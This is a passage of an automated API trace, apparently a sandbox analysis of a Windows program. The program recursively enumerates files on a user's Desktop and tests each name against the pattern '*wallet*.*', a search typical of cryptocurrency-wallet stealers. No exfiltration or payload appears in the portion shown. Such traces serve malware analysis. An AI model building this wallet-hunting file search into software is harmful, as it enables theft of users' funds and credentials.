ftLastWriteTime.dwHighDateTime=0x1d7aef0, nFileSizeHigh=0x0, nFileSizeLow=0x17ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ffg4.png", cAlternateFileName="")) returned 1 [0099.571] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.571] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.571] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="ffg4.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ffg4.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ffg4.png" [0099.571] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.571] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.571] lstrcatW (in: lpString1="\\", lpString2="ffg4.png" | out: lpString1="\\ffg4.png") returned="\\ffg4.png" [0099.571] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa350 [0099.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ffg4.png", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0099.571] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x28) returned 0x211acc0 [0099.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ffg4.png", cchWideChar=40, lpMultiByteStr=0x211acc0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ffg4.png", lpUsedDefaultChar=0x0) returned 40 [0099.571] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.571] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x211acc0 | out: hHeap=0x2110000) returned 1 [0099.571] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa350 | out: hHeap=0x2110000) returned 1 [0099.571] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d80 | out: hHeap=0x2110000) returned 1 [0099.571] PathMatchSpecW (pszFile="ffg4.png", pszSpec="*wallet*.*") returned 0 [0099.571] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34305d8 | out: hHeap=0x2110000) returned 1 [0099.571] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.571] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6e5e5f0, ftCreationTime.dwHighDateTime=0x1d7ad11, ftLastAccessTime.dwLowDateTime=0x92006230, ftLastAccessTime.dwHighDateTime=0x1d7ad95, ftLastWriteTime.dwLowDateTime=0x92006230, ftLastWriteTime.dwHighDateTime=0x1d7ad95, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOg-h_AvoQIw_HJ", cAlternateFileName="FOG-H_~1")) returned 1 [0099.571] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.571] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.572] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.572] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.572] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.572] lstrcatW (in: lpString1="\\", lpString2="FOg-h_AvoQIw_HJ" | out: lpString1="\\FOg-h_AvoQIw_HJ") returned="\\FOg-h_AvoQIw_HJ" [0099.572] lstrcmpW (lpString1="FOg-h_AvoQIw_HJ", lpString2=".") returned 1 [0099.572] lstrcmpW (lpString1="FOg-h_AvoQIw_HJ", lpString2="..") returned 1 [0099.572] lstrcpyW (in: lpString1=0x19c9ac, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.572] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\*.*" [0099.572] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6e5e5f0, ftCreationTime.dwHighDateTime=0x1d7ad11, ftLastAccessTime.dwLowDateTime=0x92006230, ftLastAccessTime.dwHighDateTime=0x1d7ad95, ftLastWriteTime.dwLowDateTime=0x92006230, ftLastWriteTime.dwHighDateTime=0x1d7ad95, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0099.572] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.572] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\" [0099.572] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\." [0099.572] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\FOg-h_AvoQIw_HJ" | out: lpString1="\\FOg-h_AvoQIw_HJ") returned="\\FOg-h_AvoQIw_HJ" [0099.572] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="\\FOg-h_AvoQIw_HJ\\") returned="\\FOg-h_AvoQIw_HJ\\" [0099.572] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ\\", lpString2="." | out: lpString1="\\FOg-h_AvoQIw_HJ\\.") returned="\\FOg-h_AvoQIw_HJ\\." [0099.572] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0099.572] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6e5e5f0, ftCreationTime.dwHighDateTime=0x1d7ad11, ftLastAccessTime.dwLowDateTime=0x92006230, ftLastAccessTime.dwHighDateTime=0x1d7ad95, ftLastWriteTime.dwLowDateTime=0x92006230, ftLastWriteTime.dwHighDateTime=0x1d7ad95, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.572] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.573] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\" [0099.573] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\.." [0099.573] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\FOg-h_AvoQIw_HJ" | out: lpString1="\\FOg-h_AvoQIw_HJ") returned="\\FOg-h_AvoQIw_HJ" [0099.573] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="\\FOg-h_AvoQIw_HJ\\") returned="\\FOg-h_AvoQIw_HJ\\" [0099.573] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ\\", lpString2=".." | out: lpString1="\\FOg-h_AvoQIw_HJ\\..") returned="\\FOg-h_AvoQIw_HJ\\.." [0099.573] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0099.573] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0099.573] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97427d50, ftCreationTime.dwHighDateTime=0x1d7ac05, ftLastAccessTime.dwLowDateTime=0x29e948e0, ftLastAccessTime.dwHighDateTime=0x1d7aced, ftLastWriteTime.dwLowDateTime=0x29e948e0, ftLastWriteTime.dwHighDateTime=0x1d7aced, nFileSizeHigh=0x0, nFileSizeLow=0xcba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="srTdgc8WYpda3WAi2Rl.png", cAlternateFileName="SRTDGC~1.PNG")) returned 1 [0099.573] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.573] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\" [0099.573] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\", lpString2="srTdgc8WYpda3WAi2Rl.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png" [0099.573] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\FOg-h_AvoQIw_HJ" | out: lpString1="\\FOg-h_AvoQIw_HJ") returned="\\FOg-h_AvoQIw_HJ" [0099.573] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="\\FOg-h_AvoQIw_HJ\\") returned="\\FOg-h_AvoQIw_HJ\\" [0099.573] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ\\", lpString2="srTdgc8WYpda3WAi2Rl.png" | out: lpString1="\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png") returned="\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png" [0099.573] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21104a0 [0099.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0099.573] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x47) returned 0x34300d0 [0099.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png", cchWideChar=71, lpMultiByteStr=0x34300d0, cbMultiByte=71, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png", lpUsedDefaultChar=0x0) returned 71 [0099.573] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa4b0 [0099.573] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.573] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.573] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430e80 [0099.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430e80, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.573] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430678 [0099.573] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430e80 | out: hHeap=0x2110000) returned 1 [0099.574] PathMatchSpecW (pszFile="srTdgc8WYpda3WAi2Rl.png", pszSpec="*wallet*.*") returned 0 [0099.574] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430678 | out: hHeap=0x2110000) returned 1 [0099.574] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa4b0 | out: hHeap=0x2110000) returned 1 [0099.574] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf87f20, ftCreationTime.dwHighDateTime=0x1d7af4d, ftLastAccessTime.dwLowDateTime=0x803dd890, ftLastAccessTime.dwHighDateTime=0x1d7b009, ftLastWriteTime.dwLowDateTime=0x803dd890, ftLastWriteTime.dwHighDateTime=0x1d7b009, nFileSizeHigh=0x0, nFileSizeLow=0x1420d, dwReserved0=0x0, dwReserved1=0x0, cFileName="w zekI-R.wav", cAlternateFileName="WZEKI-~1.WAV")) returned 1 [0099.574] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.574] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\" [0099.574] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\", lpString2="w zekI-R.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\w zekI-R.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\w zekI-R.wav" [0099.574] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\FOg-h_AvoQIw_HJ" | out: lpString1="\\FOg-h_AvoQIw_HJ") returned="\\FOg-h_AvoQIw_HJ" [0099.574] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="\\FOg-h_AvoQIw_HJ\\") returned="\\FOg-h_AvoQIw_HJ\\" [0099.574] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ\\", lpString2="w zekI-R.wav" | out: lpString1="\\FOg-h_AvoQIw_HJ\\w zekI-R.wav") returned="\\FOg-h_AvoQIw_HJ\\w zekI-R.wav" [0099.574] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21104a0 [0099.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\w zekI-R.wav", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0099.574] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3c) returned 0x2112bb8 [0099.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\w zekI-R.wav", cchWideChar=60, lpMultiByteStr=0x2112bb8, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\w zekI-R.wav", lpUsedDefaultChar=0x0) returned 60 [0099.574] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112978 [0099.574] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112bb8 | out: hHeap=0x2110000) returned 1 [0099.574] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.574] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.574] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430c40 [0099.574] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430c40, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.574] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430498 [0099.574] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c40 | out: hHeap=0x2110000) returned 1 [0099.574] PathMatchSpecW (pszFile="w zekI-R.wav", pszSpec="*wallet*.*") returned 0 [0099.574] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430498 | out: hHeap=0x2110000) returned 1 [0099.575] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112978 | out: hHeap=0x2110000) returned 1 [0099.575] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda86dce0, ftCreationTime.dwHighDateTime=0x1d79ffe, ftLastAccessTime.dwLowDateTime=0xaec72980, ftLastAccessTime.dwHighDateTime=0x1d7a098, ftLastWriteTime.dwLowDateTime=0xaec72980, ftLastWriteTime.dwHighDateTime=0x1d7a098, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="xFdQgUMwy.png", cAlternateFileName="XFDQGU~1.PNG")) returned 1 [0099.575] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.575] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\" [0099.575] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\", lpString2="xFdQgUMwy.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png" [0099.575] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\FOg-h_AvoQIw_HJ" | out: lpString1="\\FOg-h_AvoQIw_HJ") returned="\\FOg-h_AvoQIw_HJ" [0099.575] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="\\FOg-h_AvoQIw_HJ\\") returned="\\FOg-h_AvoQIw_HJ\\" [0099.575] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ\\", lpString2="xFdQgUMwy.png" | out: lpString1="\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png") returned="\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png" [0099.575] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21104a0 [0099.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0099.575] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3d) returned 0x2112e40 [0099.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png", cchWideChar=61, lpMultiByteStr=0x2112e40, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png", lpUsedDefaultChar=0x0) returned 61 [0099.575] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112a98 [0099.575] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112e40 | out: hHeap=0x2110000) returned 1 [0099.575] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430c00, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.575] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c00 | out: hHeap=0x2110000) returned 1 [0099.575] PathMatchSpecW (pszFile="xFdQgUMwy.png", pszSpec="*wallet*.*") returned 0 [0099.575] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430560 | out: hHeap=0x2110000) returned 1 [0099.575] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112a98 | out: hHeap=0x2110000) returned 1 [0099.575] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda86dce0, ftCreationTime.dwHighDateTime=0x1d79ffe, ftLastAccessTime.dwLowDateTime=0xaec72980, ftLastAccessTime.dwHighDateTime=0x1d7a098, ftLastWriteTime.dwLowDateTime=0xaec72980, ftLastWriteTime.dwHighDateTime=0x1d7a098, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="xFdQgUMwy.png", cAlternateFileName="XFDQGU~1.PNG")) returned 0 [0099.575] FindClose (in: hFindFile=0x6d1d58 | out: hFindFile=0x6d1d58) returned 1 [0099.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", cchWideChar=47, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0099.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", cchWideChar=47, lpMultiByteStr=0x34300d0, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", lpUsedDefaultChar=0x0) returned 47 [0099.576] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.576] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430be0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.576] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430be0 | out: hHeap=0x2110000) returned 1 [0099.576] PathMatchSpecW (pszFile="FOg-h_AvoQIw_HJ", pszSpec="*wallet*.*") returned 0 [0099.576] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430498 | out: hHeap=0x2110000) returned 1 [0099.576] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.576] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcd4b250, ftCreationTime.dwHighDateTime=0x1d7a0ed, ftLastAccessTime.dwLowDateTime=0x24550670, ftLastAccessTime.dwHighDateTime=0x1d7a8e8, ftLastWriteTime.dwLowDateTime=0x24550670, ftLastWriteTime.dwHighDateTime=0x1d7a8e8, nFileSizeHigh=0x0, 